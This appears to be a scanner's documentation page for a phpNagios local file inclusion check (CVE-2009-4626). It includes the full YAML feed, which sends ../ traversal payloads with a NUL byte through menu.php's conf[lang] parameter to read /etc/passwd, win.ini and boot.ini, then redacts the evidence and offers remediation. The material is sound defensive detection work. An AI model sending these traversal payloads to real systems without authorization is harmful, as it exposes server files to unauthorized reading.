phpNagios — 1 vulnerability check

noctis ships 1 vulnerability check for phpNagios, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

phpNagios menu.php conf[lang] Local File Inclusion

CVECVE-2009-4626
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, match, script · highest QoD 75
Feedtests/vulnerabilities/phpnagios/CVE-2009-4626.yaml

Tests phpNagios (1.2.0 and earlier, no fixed release) for the unauthenticated local file inclusion in menu.php, which includes lib/lang/<conf[lang]>/menu.php and, when requested directly on a PHP server with register_globals on, takes conf[lang] from the query string. In each phpNagios folder (/phpNagios, /phpnagios, /phpNagios_v1.2.0, the web root) whose index.php shows the phpNagios title or menu, the feed requests menu.php with conf[lang] set to a ../ sequence ending in etc/passwd and a NUL byte (%00) that cuts off the /menu.php suffix, then windows/win.ini and boot.ini; the content of the file in the reply confirms the inclusion. A control request for an absent random file through the same parameter must not return any of these files, so a server that serves the same content on every request is not reported. The NUL-byte cut only works on PHP before 5.3.4 with magic_quotes_gpc off; when no file comes back, the feed sends conf[lang]=../../ followed by a random name and reports the flaw when the PHP include warning in the reply quotes lib/lang/../../<random name>/menu.php, which shows the parameter reaches the include unfiltered (this needs PHP errors to be displayed). Installs on PHP 5.4 and later (no register_globals) are not reported. Only world-readable system files are read. The account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence.

How noctis detects it

  1. HTTP(S) request GET {{dir}}/index.php
  2. Checks index_r.body for (?i)(<title>\s*phpNagios\s*</title>|<td>\s*Nagios Version\s*:|www\.ph…
  3. HTTP(S) request GET {{dir}}/menu.php?conf[lang]=../../../../../../../../../../etc/passwd%00
  4. Checks passwd_r.body for (?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^…
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request GET {{dir}}/menu.php?conf[lang]=../../../../../../../../../../windows/win.ini%00
  7. Checks winini_r.body for (?i)(; for 16-bit app support|\[fonts\])
  8. HTTP(S) request GET {{dir}}/menu.php?conf[lang]=../../../../../../../../../../boot.ini%00
  9. Checks bootini_r.body for (?i)\[boot loader\]
  10. Parses / computes the next value with a Rhai script
  11. HTTP(S) request GET {{dir}}/menu.php?conf[lang]={{ctrl_path}}%00
  12. Checks ctrl_r.body for (?mi)((?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:|; for 16-bit app support…
  13. Checks lin_proof for ^(?:root|<redacted>):<redacted>:0:[0-9]+: → finding QoD 75: phpNagios menu.php conf[lang] Local File Inclusion (CVE-2009-4626)
  14. Checks win_file for ^(windows/win\.ini|boot\.ini)$ → finding QoD 75: phpNagios menu.php conf[lang] Local File Inclusion (CVE-2009-4626)
  15. … and 3 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/phpnagios/CVE-2009-4626.yaml
# phpNagios menu.php conf[lang] local file inclusion — CVE-2009-4626
#
# phpNagios 1.2.0 (the last release of this Nagios configuration front-end,
# never fixed) ships menu.php, whose first statement is
#     include_once("lib/lang/".$conf['lang']."/menu.php");
# When index.php includes it, conf/conf.php has already set $conf. Requested
# DIRECTLY with register_globals on (PHP < 5.4), $conf comes from the query
# string, so conf[lang]=<../ sequence> leaves lib/lang/; on PHP < 5.3.4 with
# magic_quotes_gpc off a NUL byte (%00) cuts the "/menu.php" suffix and any
# file the web server user can read is included and printed as-is (menu.php
# itself prints nothing). Source: phpNagios_v1.2.0.tar.gz (SourceForge),
# advisory exploit-db 9611.
#
# Detection (benign, read-only), per phpNagios folder (/phpNagios, /phpnagios,
# /phpNagios_v1.2.0 — the tarball's own folder, as the README installs it —
# the web root) whose index.php shows the phpNagios title or menu:
#   1. GET menu.php?conf[lang]=../../../../../../../../../../etc/passwd%00 and
#      match the CONTENT of /etc/passwd; when menu.php answers but no passwd
#      line comes back, windows/win.ini, then boot.ini. A control request for
#      an absent random file must come back without any of these files.
#      QoD 75. %00 in the query goes out verbatim through http_request.
#   2. When no file came back (PHP >= 5.3.4): GET
#      menu.php?conf[lang]=../../noctis-<random> and require the PHP include
#      warning to quote "lib/lang/../../noctis-<random>/menu.php" — the
#      query-string value reached include_once() with the traversal intact,
#      between the lib/lang/ prefix and the /menu.php suffix of this very
#      statement. QoD 75, needs display_errors on.
#
# Improvements over the source NASL:
#   - The NASL is version-only, and its detection never extracts a phpNagios
#     version ("unknown"), so it compares "unknown" with "3.0" (the supported
#     Nagios version the menu shows). It cannot tell an exploitable install
#     from one on PHP >= 5.4 (no register_globals), which is not reachable.
#     The feed proves the inclusion through the flaw itself.
#   - Ten "../" levels, Linux and Windows system files without OS detection.
#   - Absent-file control (path in a random missing directory that still ends
#     with the file that hit), same HTTP status required, fail-closed: blanket
#     responders, honeypots and WAF blocks are not reported.
#   - The account name (unless "root"), password field and gecos of the uid-0
#     line are redacted before they reach the finding.
#
# CVSS: CVE-2009-4626 v2 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P; NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_phpnagios_lfi_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.800438, GPL-2.0-only).
uid: 8be179a9-9cee-4286-b0e1-1f4d37a12707
name: "phpNagios menu.php conf[lang] Local File Inclusion (CVE-2009-4626)"
description: |
  Tests phpNagios (1.2.0 and earlier, no fixed release) for the
  unauthenticated local file inclusion in menu.php, which includes
  lib/lang/<conf[lang]>/menu.php and, when requested directly on a PHP server
  with register_globals on, takes conf[lang] from the query string. In each
  phpNagios folder (/phpNagios, /phpnagios, /phpNagios_v1.2.0, the web root)
  whose index.php shows
  the phpNagios title or menu, the feed requests menu.php with conf[lang] set
  to a ../ sequence ending in etc/passwd and a NUL byte (%00) that cuts off the
  /menu.php suffix, then windows/win.ini and boot.ini; the content of the file
  in the reply confirms the inclusion. A control request for an absent random
  file through the same parameter must not return any of these files, so a
  server that serves the same content on every request is not reported. The
  NUL-byte cut only works on PHP before 5.3.4 with magic_quotes_gpc off; when
  no file comes back, the feed sends conf[lang]=../../ followed by a random
  name and reports the flaw when the PHP include warning in the reply quotes
  lib/lang/../../<random name>/menu.php, which shows the parameter reaches the
  include unfiltered (this needs PHP errors to be displayed). Installs on PHP
  5.4 and later (no register_globals) are not reported. Only world-readable
  system files are read. The account name (unless root), password field and
  gecos of the uid-0 line are redacted from the evidence.
cves: [CVE-2009-4626]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [phpnagios, nagios, php, lfi, local-file-inclusion, path-traversal, file-read, register-globals, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-4626"
  - "https://www.exploit-db.com/exploits/9611"
  - "https://sourceforge.net/projects/phpnagios/files/phpnagios/phpNagios%201.2.0/"
  # OpenVAS/Greenbone NASL 2010/gb_phpnagios_lfi_vuln.nasl (GPL-2.0-only)

steps:
  # ── Loop group: every following step runs once per phpNagios folder.
  # Each pass resets the values it reads, so nothing is left over.
  - id: init-pn
    action: set_var
    var_name: pn
    var_value: false
    loop:
      var: dir
      over: ["/phpNagios", "/phpnagios", "/phpNagios_v1.2.0", ""]

  - id: init-index-r
    action: set_var
    var_name: index_r
    var_value: {status: 0, body: ""}

  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}

  - id: init-lin-proof
    action: set_var
    var_name: lin_proof
    var_value: ""

  - id: init-win-file
    action: set_var
    var_name: win_file
    var_value: ""

  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {status: 0, body: ""}

  - id: init-bootini-r
    action: set_var
    var_name: bootini_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-path
    action: set_var
    var_name: ctrl_path
    var_value: ""

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  - id: init-warn-r
    action: set_var
    var_name: warn_r
    var_value: {status: 0, body: ""}

  - id: init-warn-proof
    action: set_var
    var_name: warn_proof
    var_value: ""

  # ── Product gate: phpNagios title, menu or logo on index.php ─────────────
  - id: index
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 10
    store_as: index_r

  - id: index-markers
    action: match
    source: index_r.body
    pattern: "(?i)(<title>\\s*phpNagios\\s*</title>|<td>\\s*Nagios Version\\s*:|www\\.phpnagios\\.com|images/Logo_colorated\\.jpg)"
    on_match:
      set_vars:
        pn: true

  # ── Linux: /etc/passwd ───────────────────────────────────────────────────
  - id: read-passwd
    action: http_request
    method: GET
    path: "{{dir}}/menu.php?conf[lang]=../../../../../../../../../../etc/passwd%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "pn"
    store_as: passwd_r

  # No on_match: the raw body must not become evidence.
  # name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
  - id: passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
    condition: "pn"
    store_as: passwd_m

  - id: passwd-redact
    action: script
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 2 {
        let name = passwd_m.captures[0];
        name.trim();
        if name == "root" {
          "root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
        } else {
          "<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
        }
      } else { "" }
    condition: "pn"
    store_as: lin_proof

  # ── Windows: windows/win.ini, then boot.ini (older Windows) — only when
  # menu.php answered (200) and the Linux read gave nothing ──────────────────
  - id: read-winini
    action: http_request
    method: GET
    path: "{{dir}}/menu.php?conf[lang]=../../../../../../../../../../windows/win.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'pn && lin_proof == "" && passwd_r.status == 200'
    store_as: winini_r

  - id: winini-content
    action: match
    source: winini_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'pn && lin_proof == "" && passwd_r.status == 200'
    on_match:
      set_vars:
        win_file: "windows/win.ini"

  - id: read-bootini
    action: http_request
    method: GET
    path: "{{dir}}/menu.php?conf[lang]=../../../../../../../../../../boot.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'pn && lin_proof == "" && win_file == "" && passwd_r.status == 200'
    store_as: bootini_r

  - id: bootini-content
    action: match
    source: bootini_r.body
    pattern: "(?i)\\[boot loader\\]"
    condition: 'pn && lin_proof == "" && win_file == "" && passwd_r.status == 200'
    on_match:
      set_vars:
        win_file: "boot.ini"

  # ── Control: same parameter, absent random file — must NOT carry a file ──
  # The absent path sits in a random missing directory but still ENDS with
  # the file that hit (etc/passwd, windows/win.ini or boot.ini) and the NUL
  # byte, so a honeypot that keys a fake file on that name or path suffix
  # answers it too.
  - id: control-path
    action: script
    code: |
      let f = if lin_proof != "" { "etc/passwd" } else { win_file };
      "../../../../../../../../../../noctis-absent-" + oob_token + "/" + f
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_path

  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/menu.php?conf[lang]={{ctrl_path}}%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
    condition: 'lin_proof != "" || win_file != ""'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Findings (control answered and stayed clean) ─────────────────────────
  - id: report-passwd
    action: match
    source: lin_proof
    pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
    condition: "ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
    on_match:
      finding:
        title: "phpNagios menu.php conf[lang] Local File Inclusion (CVE-2009-4626)"
        description: "An unauthenticated request to menu.php with the conf[lang] parameter set to a ../ sequence ending in etc/passwd and a NUL byte returned the content of /etc/passwd, while the same request for an absent file did not. The same flaw includes any other file the web server user can read, such as the Nagios object configuration files phpNagios manages, and runs any PHP code found in an included file."
        remediation: "Remove phpNagios (no fixed release exists) or block direct requests to menu.php and restrict the application to trusted administrators (HTTP authentication); turn register_globals off or run PHP 5.4 or later, where conf[lang] can no longer be set from the request."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/menu.php?conf[lang]=../../../../../../../../../../etc/passwd%00 returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
      stop: true

  - id: report-windows
    action: match
    source: win_file
    pattern: "^(windows/win\\.ini|boot\\.ini)$"
    condition: "ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
    on_match:
      finding:
        title: "phpNagios menu.php conf[lang] Local File Inclusion (CVE-2009-4626)"
        description: "An unauthenticated request to menu.php with the conf[lang] parameter set to a ../ sequence ending in a Windows system file and a NUL byte returned that file's content, while the same request for an absent file did not. The same flaw includes any other file the web server user can read, such as the Nagios object configuration files phpNagios manages, and runs any PHP code found in an included file."
        remediation: "Remove phpNagios (no fixed release exists) or block direct requests to menu.php and restrict the application to trusted administrators (HTTP authentication); turn register_globals off or run PHP 5.4 or later, where conf[lang] can no longer be set from the request."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/menu.php?conf[lang]=../../../../../../../../../../{{win_file}}%00 returned the content of {{win_file}}; control for an absent file returned no file content"
      stop: true

  # ── Fallback: include warning quoting lib/lang/../../<random>/menu.php ───
  # Only when no system file came back at all (PHP >= 5.3.4). A file that
  # came back but failed the control (blanket responder, honeypot) is not
  # retried here.
  - id: read-warning
    action: http_request
    method: GET
    path: "{{dir}}/menu.php?conf[lang]=../../noctis-{{oob_token}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'pn && lin_proof == "" && win_file == ""'
    store_as: warn_r

  - id: warning-path
    action: script
    code: |
      // PHP 4.3-8 print "Failed opening '<path>' for inclusion" for every
      // failed include; the "failed to open stream" line (include_once( /
      // main( in PHP 4.3) is the second chance. The path must be the one this
      // statement builds: lib/lang/ + our value + /menu.php.
      let p = "lib/lang/\\.\\./\\.\\./noctis-" + oob_token + "/menu\\.php";
      // The quotes may be HTML-escaped (Xdebug HTML error output).
      let re1 = "(?i)Failed opening (?:'|&#0?39;)([^'&\\r\\n]*" + p + ")(?:'|&#0?39;) for inclusion";
      let re2 = "(?i)\\b(?:include|main)(?:_once)?\\(([^()\\r\\n]*" + p + ")\\)(?:\\s*\\[<a\\b[^\\]\\r\\n]*\\])?\\s*:\\s*failed to open stream";
      let m = eregmatch(re1, warn_r.body);
      if m.len() < 2 { m = eregmatch(re2, warn_r.body); }
      if m.len() > 1 { m[1] } else { "" }
    condition: 'pn && lin_proof == "" && win_file == ""'
    store_as: warn_proof

  - id: report-warning
    action: match
    source: warn_proof
    pattern: "lib/lang/\\.\\./\\.\\./noctis-"
    condition: 'warn_proof != ""'
    on_match:
      finding:
        title: "phpNagios menu.php conf[lang] Local File Inclusion (CVE-2009-4626)"
        description: "An unauthenticated request to menu.php with the conf[lang] parameter set to ../../ followed by a random name made PHP print an include warning for lib/lang/../../<that name>/menu.php: the parameter reaches the include unfiltered, so ../ sequences select the file to include. No system file could be read back (the NUL byte that cuts off the /menu.php suffix is ignored by PHP 5.3.4 and later), but any file named menu.php on the server, such as an uploaded one, can still be included and run."
        remediation: "Remove phpNagios (no fixed release exists) or block direct requests to menu.php and restrict the application to trusted administrators (HTTP authentication); turn register_globals off or run PHP 5.4 or later, where conf[lang] can no longer be set from the request; turn display_errors off in production."
        confidence_delta: 0.50
        qod: 75
        evidence: "{{dir}}/menu.php?conf[lang]=../../noctis-{{oob_token}} made PHP warn that it failed to include {{warn_proof}}"
      stop: true

View these feeds on GitHub